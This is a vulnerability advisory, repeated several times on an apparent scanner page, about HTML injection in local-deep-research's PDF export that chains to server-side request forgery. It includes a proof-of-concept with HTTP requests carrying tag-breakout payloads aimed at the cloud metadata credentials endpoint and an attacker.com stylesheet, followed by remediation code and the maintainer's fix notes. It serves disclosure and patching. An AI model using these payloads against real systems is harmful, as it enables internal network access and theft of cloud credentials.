## Summary `PDFService._markdown_to_html()` constructs an HTML document by interpolating user-controlled values — specifically `title` (sourced from `research.title` or `research.query`) and `metadata` key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in `ssrf_validator.py`. --- ## Details **Vulnerable code:** `src/local_deep_research/web/services/pdf_service.py`, lines 171–176 ```python # pdf_service.py:171-176 if title: html_parts.append(f"<title>{title}</title>") # ← title is not escaped if metadata: for key, value in metadata.items(): html_parts.append(f'<meta name="{key}" content="{value}">') # ← key/value are not escaped ``` **Data flow trace:** ``` User input: research.query │ ▼ research_routes.py:1321 pdf_title = research.title or research.query │ ▼ research_routes.py:1325-1326 export_report_to_memory(report_content, format, title=pdf_title) │ ▼ pdf_service.py:107 PDFService.markdown_to_pdf(markdown_content, title=pdf_title) │ ▼ pdf_service.py:137 _markdown_to_html(markdown_content, title, metadata) │ ▼ pdf_service.py:172 f"<title>{title}</title>" ← injection point, no escaping │ ▼ pdf_service.py:112 HTML(string=html_content) ← WeasyPrint renders the injected HTML ``` `research.query` is a string submitted by the user via `POST /api/start_research`, stored as-is in the database, and retrieved without any sanitization. When the user triggers `POST /api/v1/research/<research_id>/export/pdf`, this value is embedded unescaped into the HTML document processed by WeasyPrint. **Injection point 1: `<title>` tag breakout** ``` Input: </title><img src="http://169.254.169.254/latest/meta-data/" /> Rendered: <title></title><img src="http://169.254.169.254/latest/meta-data/" /></title> ``` When WeasyPrint encounters the injected `<img>` tag, it issues an HTTP GET request to the value of `src` by default. **Injection point 2: `<meta>` attribute breakout** ``` Input: " /><link rel="stylesheet" href="http://attacker.com/evil.css Rendered: <meta name="..." content="" /><link rel="stylesheet" href="http://attacker.com/evil.css"> ``` WeasyPrint will fetch and apply the external stylesheet, which also constitutes SSRF. --- ## Proof of Concept **Step 1: Log in and submit a research query containing the injection payload** ```http POST /api/start_research HTTP/1.1 Host: localhost:5000 Content-Type: application/json Cookie: session=<valid_session> { "query": "</title><img src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" onerror=\"x\"/>", "mode": "quick", "model_provider": "OLLAMA", "model": "llama3" } ``` The response returns a `research_id`, e.g. `"aaaa-bbbb-cccc-dddd"`. **Step 2: After the research completes, trigger PDF export** ```http POST /api/v1/research/aaaa-bbbb-cccc-dddd/export/pdf HTTP/1.1 Host: localhost:5000 Cookie: session=<valid_session> X-CSRFToken: <csrf_token> ``` **Step 3: Intermediate HTML constructed server-side** ```html <!DOCTYPE html><html><head> <meta charset="utf-8"> <title></title><img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onerror="x"/></title> </head><body> ...report content... </body></html> ``` **Step 4: WeasyPrint issues an outbound HTTP request to the injected URL** Observed in network monitoring (e.g. `tcpdump`) or the target internal service logs: ``` GET /latest/meta-data/iam/security-credentials/ HTTP/1.1 Host: 169.254.169.254 User-Agent: WeasyPrint/... ``` **Lightweight verification (no SSRF environment required):** Set the query to: ``` </title><title>INJECTED ``` The resulting HTML will contain two `<title>` tags and the PDF document metadata title will read `INJECTED`, confirming successful injection. --- ## Impact ### 1. Chained SSRF (High Severity) By injecting `<img src>`, `<link href>`, or `<style>@import url()` tags pointing to internal addresses, WeasyPrint will issue HTTP requests on behalf of the server during PDF generation. This allows access to: - **Cloud metadata services** (`169.254.169.254`) on AWS, GCP, or Azure — enabling theft of IAM credentials and instance identity documents. - **Internal network services** (`192.168.x.x`, `10.x.x.x`) — enabling reconnaissance and interaction with internal APIs not exposed to the internet. - **Localhost administrative interfaces** — if SSRF protections are only applied at the user-input validation layer. This is an effective bypass of the application's existing SSRF defenses in `ssrf_validator.py`, because WeasyPrint's outbound resource requests are never routed through that validator. ### 2. HTML Document Structure Corruption Injected tags can prematurely close `<head>` and insert arbitrary content into `<body>`, causing WeasyPrint to render incorrectly or crash, resulting in a Denial of Service (DoS) condition for the export functionality. ### 3. CSS Injection (Medium Severity) By injecting `<link>` or `<style>` tags that load external stylesheets, an attacker can fully control the visual content of the generated PDF, enabling report content forgery or spoofing. ### 4. Affected Scope - All PDF export operations are affected. - The vulnerability is reachable by any authenticated user — no elevated privileges required. - Because each user operates against their own encrypted database, cross-user exploitation is not possible. However, on any shared or multi-tenant deployment, every authenticated user can independently trigger this vulnerability. --- ## Remediation Apply `html.escape()` to all user-controlled values before embedding them in the HTML template inside `_markdown_to_html`: ```python import html if title: html_parts.append(f"<title>{html.escape(title)}</title>") if metadata: for key, value in metadata.items(): html_parts.append( f'<meta name="{html.escape(str(key))}" content="{html.escape(str(value))}">' ) ``` Additionally, consider configuring WeasyPrint with a custom `url_fetcher` that blocks or restricts outbound HTTP requests to prevent SSRF via injected or legitimately-embedded external resources: ```python def safe_url_fetcher(url, timeout=10): from ssrf_validator import validate_url if not validate_url(url): raise ValueError(f"Blocked unsafe URL in PDF rendering: {url}") return weasyprint.default_url_fetcher(url, timeout=timeout) html_doc = HTML(string=html_content, url_fetcher=safe_url_fetcher) ``` --- *Report generated against commit `f3540fb3` — local-deep-research, branch `main`.* --- ## Maintainer note (2026-04-24) Thanks @Firebasky for the detailed report. The complete remediation spans two PRs, both merged to `main`: **#3082** (merged 2026-03-29, shipped in **v1.5.0+**) — closes the HTML-injection sinks: - `html.escape()` now wraps the `title` value in `<title>…</title>` - Same for metadata keys/values in `<meta name="…" content="…">` - Regression tests added in `tests/web/services/test_pdf_service.py` **#3613** (merged 2026-04-24, shipped in **v1.6.0**) — implements the `url_fetcher` recommendation from the Remediation section: - New `_safe_url_fetcher` in `pdf_service.py` delegates to `weasyprint.default_url_fetcher` only after `security.ssrf_validator.validate_url` accepts the URL - Blocks AWS metadata (169.254.169.254), RFC1918, loopback, and non-http(s) schemes - Covers the chained SSRF path through any URL reaching the rendered HTML — markdown body, citations, raw-HTML passthrough via Python-Markdown - Blocked URLs raise `UnsafePDFResourceURLError` (a `ValueError` subclass) so WeasyPrint skips the resource and the render continues - 8 regression tests, including an end-to-end render with `<img src="http://169.254.169.254/…">` embedded in the body **Advisory metadata:** CVSS `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N` (5.0 Moderate), CWEs **CWE-79** + **CWE-918**. **Patched in v1.6.0** — upgrade to v1.6.0 or later to receive both fixes.
## Summary `PDFService._markdown_to_html()` constructs an HTML document by interpolating user-controlled values — specifically `title` (sourced from `research.title` or `research.query`) and `metadata` key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in `ssrf_validator.py`. --- ## Details **Vulnerable code:** `src/local_deep_research/web/services/pdf_service.py`, lines 171–176 ```python # pdf_service.py:171-176 if title: html_parts.append(f"<title>{title}</title>") # ← title is not escaped if metadata: for key, value in metadata.items(): html_parts.append(f'<meta name="{key}" content="{value}">') # ← key/value are not escaped ``` **Data flow trace:** ``` User input: research.query │ ▼ research_routes.py:1321 pdf_title = research.title or research.query │ ▼ research_routes.py:1325-1326 export_report_to_memory(report_content, format, title=pdf_title) │ ▼ pdf_service.py:107 PDFService.markdown_to_pdf(markdown_content, title=pdf_title) │ ▼ pdf_service.py:137 _markdown_to_html(markdown_content, title, metadata) │ ▼ pdf_service.py:172 f"<title>{title}</title>" ← injection point, no escaping │ ▼ pdf_service.py:112 HTML(string=html_content) ← WeasyPrint renders the injected HTML ``` `research.query` is a string submitted by the user via `POST /api/start_research`, stored as-is in the database, and retrieved without any sanitization. When the user triggers `POST /api/v1/research/<research_id>/export/pdf`, this value is embedded unescaped into the HTML document processed by WeasyPrint. **Injection point 1: `<title>` tag breakout** ``` Input: </title><img src="http://169.254.169.254/latest/meta-data/" /> Rendered: <title></title><img src="http://169.254.169.254/latest/meta-data/" /></title> ``` When WeasyPrint encounters the injected `<img>` tag, it issues an HTTP GET request to the value of `src` by default. **Injection point 2: `<meta>` attribute breakout** ``` Input: " /><link rel="stylesheet" href="http://attacker.com/evil.css Rendered: <meta name="..." content="" /><link rel="stylesheet" href="http://attacker.com/evil.css"> ``` WeasyPrint will fetch and apply the external stylesheet, which also constitutes SSRF. --- ## Proof of Concept **Step 1: Log in and submit a research query containing the injection payload** ```http POST /api/start_research HTTP/1.1 Host: localhost:5000 Content-Type: application/json Cookie: session=<valid_session> { "query": "</title><img src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" onerror=\"x\"/>", "mode": "quick", "model_provider": "OLLAMA", "model": "llama3" } ``` The response returns a `research_id`, e.g. `"aaaa-bbbb-cccc-dddd"`. **Step 2: After the research completes, trigger PDF export** ```http POST /api/v1/research/aaaa-bbbb-cccc-dddd/export/pdf HTTP/1.1 Host: localhost:5000 Cookie: session=<valid_session> X-CSRFToken: <csrf_token> ``` **Step 3: Intermediate HTML constructed server-side** ```html <!DOCTYPE html><html><head> <meta charset="utf-8"> <title></title><img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onerror="x"/></title> </head><body> ...report content... </body></html> ``` **Step 4: WeasyPrint issues an outbound HTTP request to the injected URL** Observed in network monitoring (e.g. `tcpdump`) or the target internal service logs: ``` GET /latest/meta-data/iam/security-credentials/ HTTP/1.1 Host: 169.254.169.254 User-Agent: WeasyPrint/... ``` **Lightweight verification (no SSRF environment required):** Set the query to: ``` </title><title>INJECTED ``` The resulting HTML will contain two `<title>` tags and the PDF document metadata title will read `INJECTED`, confirming successful injection. --- ## Impact ### 1. Chained SSRF (High Severity) By injecting `<img src>`, `<link href>`, or `<style>@import url()` tags pointing to internal addresses, WeasyPrint will issue HTTP requests on behalf of the server during PDF generation. This allows access to: - **Cloud metadata services** (`169.254.169.254`) on AWS, GCP, or Azure — enabling theft of IAM credentials and instance identity documents. - **Internal network services** (`192.168.x.x`, `10.x.x.x`) — enabling reconnaissance and interaction with internal APIs not exposed to the internet. - **Localhost administrative interfaces** — if SSRF protections are only applied at the user-input validation layer. This is an effective bypass of the application's existing SSRF defenses in `ssrf_validator.py`, because WeasyPrint's outbound resource requests are never routed through that validator. ### 2. HTML Document Structure Corruption Injected tags can prematurely close `<head>` and insert arbitrary content into `<body>`, causing WeasyPrint to render incorrectly or crash, resulting in a Denial of Service (DoS) condition for the export functionality. ### 3. CSS Injection (Medium Severity) By injecting `<link>` or `<style>` tags that load external stylesheets, an attacker can fully control the visual content of the generated PDF, enabling report content forgery or spoofing. ### 4. Affected Scope - All PDF export operations are affected. - The vulnerability is reachable by any authenticated user — no elevated privileges required. - Because each user operates against their own encrypted database, cross-user exploitation is not possible. However, on any shared or multi-tenant deployment, every authenticated user can independently trigger this vulnerability. --- ## Remediation Apply `html.escape()` to all user-controlled values before embedding them in the HTML template inside `_markdown_to_html`: ```python import html if title: html_parts.append(f"<title>{html.escape(title)}</title>") if metadata: for key, value in metadata.items(): html_parts.append( f'<meta name="{html.escape(str(key))}" content="{html.escape(str(value))}">' ) ``` Additionally, consider configuring WeasyPrint with a custom `url_fetcher` that blocks or restricts outbound HTTP requests to prevent SSRF via injected or legitimately-embedded external resources: ```python def safe_url_fetcher(url, timeout=10): from ssrf_validator import validate_url if not validate_url(url): raise ValueError(f"Blocked unsafe URL in PDF rendering: {url}") return weasyprint.default_url_fetcher(url, timeout=timeout) html_doc = HTML(string=html_content, url_fetcher=safe_url_fetcher) ``` --- *Report generated against commit `f3540fb3` — local-deep-research, branch `main`.* --- ## Maintainer note (2026-04-24) Thanks @Firebasky for the detailed report. The complete remediation spans two PRs, both merged to `main`: **#3082** (merged 2026-03-29, shipped in **v1.5.0+**) — closes the HTML-injection sinks: - `html.escape()` now wraps the `title` value in `<title>…</title>` - Same for metadata keys/values in `<meta name="…" content="…">` - Regression tests added in `tests/web/services/test_pdf_service.py` **#3613** (merged 2026-04-24, shipped in **v1.6.0**) — implements the `url_fetcher` recommendation from the Remediation section: - New `_safe_url_fetcher` in `pdf_service.py` delegates to `weasyprint.default_url_fetcher` only after `security.ssrf_validator.validate_url` accepts the URL - Blocks AWS metadata (169.254.169.254), RFC1918, loopback, and non-http(s) schemes - Covers the chained SSRF path through any URL reaching the rendered HTML — markdown body, citations, raw-HTML passthrough via Python-Markdown - Blocked URLs raise `UnsafePDFResourceURLError` (a `ValueError` subclass) so WeasyPrint skips the resource and the render continues - 8 regression tests, including an end-to-end render with `<img src="http://169.254.169.254/…">` embedded in the body **Advisory metadata:** CVSS `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N` (5.0 Moderate), CWEs **CWE-79** + **CWE-918**. **Patched in v1.6.0** — upgrade to v1.6.0 or later to receive both fixes.
Update local-deep-research to 1.6.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanlocal-deep-research is Vulnerable to HTML Injection via Unescaped User Input in PDF Export (`pdf_service.py:_markdown_to_html`) affects local-deep-research (pip). Severity is medium. ## Summary `PDFService._markdown_to_html()` constructs an HTML document by interpolating user-controlled values — specifically `title` (sourced from `research.title` or `research.query`) and `metadata` key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in `ssrf_validator.py`. --- ## Details **Vulnerable code:** `src/local_deep_research/web/services/pdf_service.py`, lines 171–176 ```python # pdf_service.py:171-176 if title: html_parts.append(f"<title>{title}</title>") # ← title is not escaped if metadata: for key, value in metadata.items(): html_parts.append(f'<meta name="{key}" content="{value}">') # ← key/value are not escaped ``` **Data flow trace:** ``` User input: research.query │ ▼ research_routes.py:1321 pdf_title = research.title or research.query │ ▼ research_routes.py:1325-1326 export_report_to_memory(report_content, format, title=pdf_title) │ ▼ pdf_service.py:107 PDFService.markdown_to_pdf(markdown_content, title=pdf_title) │ ▼ pdf_service.py:137 _markdown_to_html(markdown_content, title, metadata) │ ▼ pdf_service.py:172 f"<title>{title}</title>" ← injection point, no escaping │ ▼ pdf_service.py:112 HTML(string=html_content) ← WeasyPrint renders the injected HTML ``` `research.query` is a string submitted by the user via `POST /api/start_research`, stored as-is in the database, and retrieved without any sanitization. When the user triggers `POST /api/v1/research/<research_id>/export/pdf`, this value is embedded unescaped into the HTML document processed by WeasyPrint. **Injection point 1: `<title>` tag breakout** ``` Input: </title><img src="http://169.254.169.254/latest/meta-data/" /> Rendered: <title></title><img src="http://169.254.169.254/latest/meta-data/" /></title> ``` When WeasyPrint encounters the injected `<img>` tag, it issues an HTTP GET request to the value of `src` by default. **Injection point 2: `<meta>` attribute breakout** ``` Input: " /><link rel="stylesheet" href="http://attacker.com/evil.css Rendered: <meta name="..." content="" /><link rel="stylesheet" href="http://attacker.com/evil.css"> ``` WeasyPrint will fetch and apply the external stylesheet, which also constitutes SSRF. --- ## Proof of Concept **Step 1: Log in and submit a research query containing the injection payload** ```http POST /api/start_research HTTP/1.1 Host: localhost:5000 Content-Type: application/json Cookie: session=<valid_session> { "query": "</title><img src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" onerror=\"x\"/>", "mode": "quick", "model_provider": "OLLAMA", "model": "llama3" } ``` The response returns a `research_id`, e.g. `"aaaa-bbbb-cccc-dddd"`. **Step 2: After the research completes, trigger PDF export** ```http POST /api/v1/research/aaaa-bbbb-cccc-dddd/export/pdf HTTP/1.1 Host: localhost:5000 Cookie: session=<valid_session> X-CSRFToken: <csrf_token> ``` **Step 3: Intermediate HTML constructed server-side** ```html <!DOCTYPE html><html><head> <meta charset="utf-8"> <title></title><img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onerror="x"/></title> </head><body> ...report content... </body></html> ``` **Step 4: WeasyPrint issues an outbound HTTP request to the injected URL** Observed in network monitoring (e.g. `tcpdump`) or the target internal service logs: ``` GET /latest/meta-data/iam/security-credentials/ HTTP/1.1 Host: 169.254.169.254 User-Agent: WeasyPrint/... ``` **Lightweight verification (no SSRF environment required):** Set the query to: ``` </title><title>INJECTED ``` The resulting HTML will contain two `<title>` tags and the PDF document metadata title will read `INJECTED`, confirming successful injection. --- ## Impact ### 1. Chained SSRF (High Severity) By injecting `<img src>`, `<link href>`, or `<style>@import url()` tags pointing to internal addresses, WeasyPrint will issue HTTP requests on behalf of the server during PDF generation. This allows access to: - **Cloud metadata services** (`169.254.169.254`) on AWS, GCP, or Azure — enabling theft of IAM credentials and instance identity documents. - **Internal network services** (`192.168.x.x`, `10.x.x.x`) — enabling reconnaissance and interaction with internal APIs not exposed to the internet. - **Localhost administrative interfaces** — if SSRF protections are only applied at the user-input validation layer. This is an effective bypass of the application's existing SSRF defenses in `ssrf_validator.py`, because WeasyPrint's outbound resource requests are never routed through that validator. ### 2. HTML Document Structure Corruption Injected tags can prematurely close `<head>` and insert arbitrary content into `<body>`, causing WeasyPrint to render incorrectly or crash, resulting in a Denial of Service (DoS) condition for the export functionality. ### 3. CSS Injection (Medium Severity) By injecting `<link>` or `<style>` tags that load external stylesheets, an attacker can fully control the visual content of the generated PDF, enabling report content forgery or spoofing. ### 4. Affected Scope - All PDF export operations are affected. - The vulnerability is reachable by any authenticated user — no elevated privileges required. - Because each user operates against their own encrypted database, cross-user exploitation is not possible. However, on any shared or multi-tenant deployment, every authenticated user can independently trigger this vulnerability. --- ## Remediation Apply `html.escape()` to all user-controlled values before embedding them in the HTML template inside `_markdown_to_html`: ```python import html if title: html_parts.append(f"<title>{html.escape(title)}</title>") if metadata: for key, value in metadata.items(): html_parts.append( f'<meta name="{html.escape(str(key))}" content="{html.escape(str(value))}">' ) ``` Additionally, consider configuring WeasyPrint with a custom `url_fetcher` that blocks or restricts outbound HTTP requests to prevent SSRF via injected or legitimately-embedded external resources: ```python def safe_url_fetcher(url, timeout=10): from ssrf_validator import validate_url if not validate_url(url): raise ValueError(f"Blocked unsafe URL in PDF rendering: {url}") return weasyprint.default_url_fetcher(url, timeout=timeout) html_doc = HTML(string=html_content, url_fetcher=safe_url_fetcher) ``` --- *Report generated against commit `f3540fb3` — local-deep-research, branch `main`.* --- ## Maintainer note (2026-04-24) Thanks @Firebasky for the detailed report. The complete remediation spans two PRs, both merged to `main`: **#3082** (merged 2026-03-29, shipped in **v1.5.0+**) — closes the HTML-injection sinks: - `html.escape()` now wraps the `title` value in `<title>…</title>` - Same for metadata keys/values in `<meta name="…" content="…">` - Regression tests added in `tests/web/services/test_pdf_service.py` **#3613** (merged 2026-04-24, shipped in **v1.6.0**) — implements the `url_fetcher` recommendation from the Remediation section: - New `_safe_url_fetcher` in `pdf_service.py` delegates to `weasyprint.default_url_fetcher` only after `security.ssrf_validator.validate_url` accepts the URL - Blocks AWS metadata (169.254.169.254), RFC1918, loopback, and non-http(s) schemes - Covers the chained SSRF path through any URL reaching the rendered HTML — markdown body, citations, raw-HTML passthrough via Python-Markdown - Blocked URLs raise `UnsafePDFResourceURLError` (a `ValueError` subclass) so WeasyPrint skips the resource and the render continues - 8 regression tests, including an end-to-end render with `<img src="http://169.254.169.254/…">` embedded in the body **Advisory metadata:** CVSS `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N` (5.0 Moderate), CWEs **CWE-79** + **CWE-918**. **Patched in v1.6.0** — upgrade to v1.6.0 or later to receive both fixes.
AI coding agents often install or upgrade packages automatically in pip. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| local-deep-researchpip | <1.6.0 | 1.6.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate local-deep-research to 1.6.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanlocal-deep-research is Vulnerable to HTML Injection via Unescaped User Input in PDF Export (`pdf_service.py:_markdown_to_html`) affects local-deep-research (pip). Severity is medium. ## Summary `PDFService._markdown_to_html()` constructs an HTML document by interpolating user-controlled values — specifically `title` (sourced from `research.title` or `research.query`) and `metadata` key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in `ssrf_validator.py`. --- ## Details **Vulnerable code:** `src/local_deep_research/web/services/pdf_service.py`, lines 171–176 ```python # pdf_service.py:171-176 if title: html_parts.append(f"<title>{title}</title>") # ← title is not escaped if metadata: for key, value in metadata.items(): html_parts.append(f'<meta name="{key}" content="{value}">') # ← key/value are not escaped ``` **Data flow trace:** ``` User input: research.query │ ▼ research_routes.py:1321 pdf_title = research.title or research.query │ ▼ research_routes.py:1325-1326 export_report_to_memory(report_content, format, title=pdf_title) │ ▼ pdf_service.py:107 PDFService.markdown_to_pdf(markdown_content, title=pdf_title) │ ▼ pdf_service.py:137 _markdown_to_html(markdown_content, title, metadata) │ ▼ pdf_service.py:172 f"<title>{title}</title>" ← injection point, no escaping │ ▼ pdf_service.py:112 HTML(string=html_content) ← WeasyPrint renders the injected HTML ``` `research.query` is a string submitted by the user via `POST /api/start_research`, stored as-is in the database, and retrieved without any sanitization. When the user triggers `POST /api/v1/research/<research_id>/export/pdf`, this value is embedded unescaped into the HTML document processed by WeasyPrint. **Injection point 1: `<title>` tag breakout** ``` Input: </title><img src="http://169.254.169.254/latest/meta-data/" /> Rendered: <title></title><img src="http://169.254.169.254/latest/meta-data/" /></title> ``` When WeasyPrint encounters the injected `<img>` tag, it issues an HTTP GET request to the value of `src` by default. **Injection point 2: `<meta>` attribute breakout** ``` Input: " /><link rel="stylesheet" href="http://attacker.com/evil.css Rendered: <meta name="..." content="" /><link rel="stylesheet" href="http://attacker.com/evil.css"> ``` WeasyPrint will fetch and apply the external stylesheet, which also constitutes SSRF. --- ## Proof of Concept **Step 1: Log in and submit a research query containing the injection payload** ```http POST /api/start_research HTTP/1.1 Host: localhost:5000 Content-Type: application/json Cookie: session=<valid_session> { "query": "</title><img src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" onerror=\"x\"/>", "mode": "quick", "model_provider": "OLLAMA", "model": "llama3" } ``` The response returns a `research_id`, e.g. `"aaaa-bbbb-cccc-dddd"`. **Step 2: After the research completes, trigger PDF export** ```http POST /api/v1/research/aaaa-bbbb-cccc-dddd/export/pdf HTTP/1.1 Host: localhost:5000 Cookie: session=<valid_session> X-CSRFToken: <csrf_token> ``` **Step 3: Intermediate HTML constructed server-side** ```html <!DOCTYPE html><html><head> <meta charset="utf-8"> <title></title><img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onerror="x"/></title> </head><body> ...report content... </body></html> ``` **Step 4: WeasyPrint issues an outbound HTTP request to the injected URL** Observed in network monitoring (e.g. `tcpdump`) or the target internal service logs: ``` GET /latest/meta-data/iam/security-credentials/ HTTP/1.1 Host: 169.254.169.254 User-Agent: WeasyPrint/... ``` **Lightweight verification (no SSRF environment required):** Set the query to: ``` </title><title>INJECTED ``` The resulting HTML will contain two `<title>` tags and the PDF document metadata title will read `INJECTED`, confirming successful injection. --- ## Impact ### 1. Chained SSRF (High Severity) By injecting `<img src>`, `<link href>`, or `<style>@import url()` tags pointing to internal addresses, WeasyPrint will issue HTTP requests on behalf of the server during PDF generation. This allows access to: - **Cloud metadata services** (`169.254.169.254`) on AWS, GCP, or Azure — enabling theft of IAM credentials and instance identity documents. - **Internal network services** (`192.168.x.x`, `10.x.x.x`) — enabling reconnaissance and interaction with internal APIs not exposed to the internet. - **Localhost administrative interfaces** — if SSRF protections are only applied at the user-input validation layer. This is an effective bypass of the application's existing SSRF defenses in `ssrf_validator.py`, because WeasyPrint's outbound resource requests are never routed through that validator. ### 2. HTML Document Structure Corruption Injected tags can prematurely close `<head>` and insert arbitrary content into `<body>`, causing WeasyPrint to render incorrectly or crash, resulting in a Denial of Service (DoS) condition for the export functionality. ### 3. CSS Injection (Medium Severity) By injecting `<link>` or `<style>` tags that load external stylesheets, an attacker can fully control the visual content of the generated PDF, enabling report content forgery or spoofing. ### 4. Affected Scope - All PDF export operations are affected. - The vulnerability is reachable by any authenticated user — no elevated privileges required. - Because each user operates against their own encrypted database, cross-user exploitation is not possible. However, on any shared or multi-tenant deployment, every authenticated user can independently trigger this vulnerability. --- ## Remediation Apply `html.escape()` to all user-controlled values before embedding them in the HTML template inside `_markdown_to_html`: ```python import html if title: html_parts.append(f"<title>{html.escape(title)}</title>") if metadata: for key, value in metadata.items(): html_parts.append( f'<meta name="{html.escape(str(key))}" content="{html.escape(str(value))}">' ) ``` Additionally, consider configuring WeasyPrint with a custom `url_fetcher` that blocks or restricts outbound HTTP requests to prevent SSRF via injected or legitimately-embedded external resources: ```python def safe_url_fetcher(url, timeout=10): from ssrf_validator import validate_url if not validate_url(url): raise ValueError(f"Blocked unsafe URL in PDF rendering: {url}") return weasyprint.default_url_fetcher(url, timeout=timeout) html_doc = HTML(string=html_content, url_fetcher=safe_url_fetcher) ``` --- *Report generated against commit `f3540fb3` — local-deep-research, branch `main`.* --- ## Maintainer note (2026-04-24) Thanks @Firebasky for the detailed report. The complete remediation spans two PRs, both merged to `main`: **#3082** (merged 2026-03-29, shipped in **v1.5.0+**) — closes the HTML-injection sinks: - `html.escape()` now wraps the `title` value in `<title>…</title>` - Same for metadata keys/values in `<meta name="…" content="…">` - Regression tests added in `tests/web/services/test_pdf_service.py` **#3613** (merged 2026-04-24, shipped in **v1.6.0**) — implements the `url_fetcher` recommendation from the Remediation section: - New `_safe_url_fetcher` in `pdf_service.py` delegates to `weasyprint.default_url_fetcher` only after `security.ssrf_validator.validate_url` accepts the URL - Blocks AWS metadata (169.254.169.254), RFC1918, loopback, and non-http(s) schemes - Covers the chained SSRF path through any URL reaching the rendered HTML — markdown body, citations, raw-HTML passthrough via Python-Markdown - Blocked URLs raise `UnsafePDFResourceURLError` (a `ValueError` subclass) so WeasyPrint skips the resource and the render continues - 8 regression tests, including an end-to-end render with `<img src="http://169.254.169.254/…">` embedded in the body **Advisory metadata:** CVSS `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N` (5.0 Moderate), CWEs **CWE-79** + **CWE-918**. **Patched in v1.6.0** — upgrade to v1.6.0 or later to receive both fixes.
AI coding agents often install or upgrade packages automatically in pip. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| local-deep-researchpip | <1.6.0 | 1.6.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
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